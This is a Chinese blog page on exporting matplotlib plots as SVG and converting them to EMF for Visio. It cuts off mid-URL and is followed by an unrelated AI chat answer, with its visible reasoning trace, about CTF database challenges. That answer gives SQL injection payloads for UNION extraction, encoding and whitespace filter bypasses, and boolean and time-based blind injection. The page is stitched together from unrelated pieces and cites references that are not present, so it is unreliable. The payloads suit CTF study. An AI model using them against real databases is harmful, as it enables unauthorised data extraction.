一些奇怪技巧(二)

本文介绍了如何使用Python将图片保存为SVG矢量图,以及如何通过在线工具将SVG转换为EMF以在Visio中正确显示。此外,还讨论了在调用sklearn的fit方法时遇到'Unknown label type: 'unknown''错误的解决方案,即确保标签数据为整型。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Python生成图片到visio的矢量图

https://blog.youkuaiyun.com/weixin_44003119/article/details/121043242

1.python 保存为svg

svg的特点:
1、属于矢量图形,放大不会失真,在任何分辨率下都可以被高质量的打印。
2、使用XML格式定义图像。
3、svg与JPG和GIF图像比起来,尺寸更小,且可压缩性更强。

import matplotlib.pyplot as plt
 
# 随意绘制一个样图
plt.plot([1,2,3,4,3,2,3])

plt.savefig('fig1.svg',format='svg')#保存为.svg格式
plt.show()
 
# 保存图为svg格式,即矢量图格式

2.svg 转emf

svg 在visio里打开有的线乱了,这里使用emf打开,
在线svg 转emf网站: https://cloudconvert.

<think>好的,用户的问题是寻找CTF竞赛中涉及奇怪数据库问题的解决方法或线索。首先,我需要回忆CTF中常见的数据库相关挑战类型。根据引用[1]提到的,SQL注入是WEB题型中的主要漏洞之一,所以这可能是常见考点。但用户提到的是“奇怪数据库”,可能指的是非传统或非常规的数据库系统,比如NoSQL、嵌入式数据库,或者是经过特殊修改或配置的数据库。 接下来,我需要考虑可能的挑战形式。例如,题目可能使用SQLite、MongoDB(NoSQL)、Redis等非关系型数据库,或者设置特殊的权限、隐藏的表或列。还可能涉及非常规的注入方式,比如布尔盲注、时间盲注,或者绕过过滤机制的情况。 然后,解决方案方面,需要检查注入点,判断数据库类型,使用对应的查询语法。比如,在SQLite中,系统表是sqlite_master,而MySQL是information_schema。此外,可能遇到编码问题,如十六进制、Base64编码的数据,需要解码处理。 另外,用户可能需要线索的发现方法,比如分析错误信息、利用时间延迟判断注入是否成功,或者使用工具如sqlmap进行自动化测试。但CTF中通常需要手动注入,因此构造特定的payload是关键。 还要注意引用中的信息,比如引用[2]提到提交flag的机制,可能题目中数据库问题与flag的存储或提取有关,比如从数据库的某个隐藏表中获取flag。 最后,总结可能的解决步骤:识别数据库类型、确定注入点、构造有效payload、处理编码或过滤、提取所需数据。同时,需要提供相关示例和参考资源,帮助用户理解具体操作方法。</think>### CTF竞赛中"奇怪数据库"挑战的解决方案 在CTF竞赛中,数据库类挑战通常围绕非常规数据库结构、特殊编码数据或隐藏注入点展开。以下是系统化的解决思路: 1. **识别数据库类型** - 通过错误信息判断:例如`You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version`提示MySQL数据库[^1] - 特殊函数测试: ```sql SELECT @@version -- MySQL SELECT sqlite_version() -- SQLite ``` 2. **非常规注入点处理** - 非数字型参数处理: ```python # 原始参数:name=admin # 注入构造:name=' union select 1,flag from secret_table-- ``` - 编码绕过技巧: ```sql /* Base64编码绕过 */ SELECT * FROM users WHERE username=0x61646D696E /* HEX编码"admin" */ ``` 3. **隐蔽数据提取方法** - 利用系统表遍历: ```sql -- SQLite获取所有表名 SELECT tbl_name FROM sqlite_master WHERE type='table' -- MySQL获取列信息 SELECT column_name FROM information_schema.columns WHERE table_name='flags' ``` - 进制数据解析: ```python # 处理BLOB类型字段示例 import binascii raw_data = b'\x89PNG\r\n\x1a\n...' print(binascii.hexlify(raw_data).decode()) ``` 4. **特殊过滤绕过** - 空白符替代方案: ```sql SELECT/**/flag/**/FROM/**/hidden_table ``` - 字符编码绕过: ```sql SELECT CHAR(102,108,97,103) FROM dual /* 输出"flag" */ ``` **典型应用场景示例**: ```sql /* 通过布尔盲注逐字符获取flag */ ' AND SUBSTR((SELECT flag FROM secret LIMIT 1),1,1)='a'-- /* 时间盲注判断 */ '; IF(ASCII(SUBSTR(database(),1,1))=115) SLEEP(5)-- ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值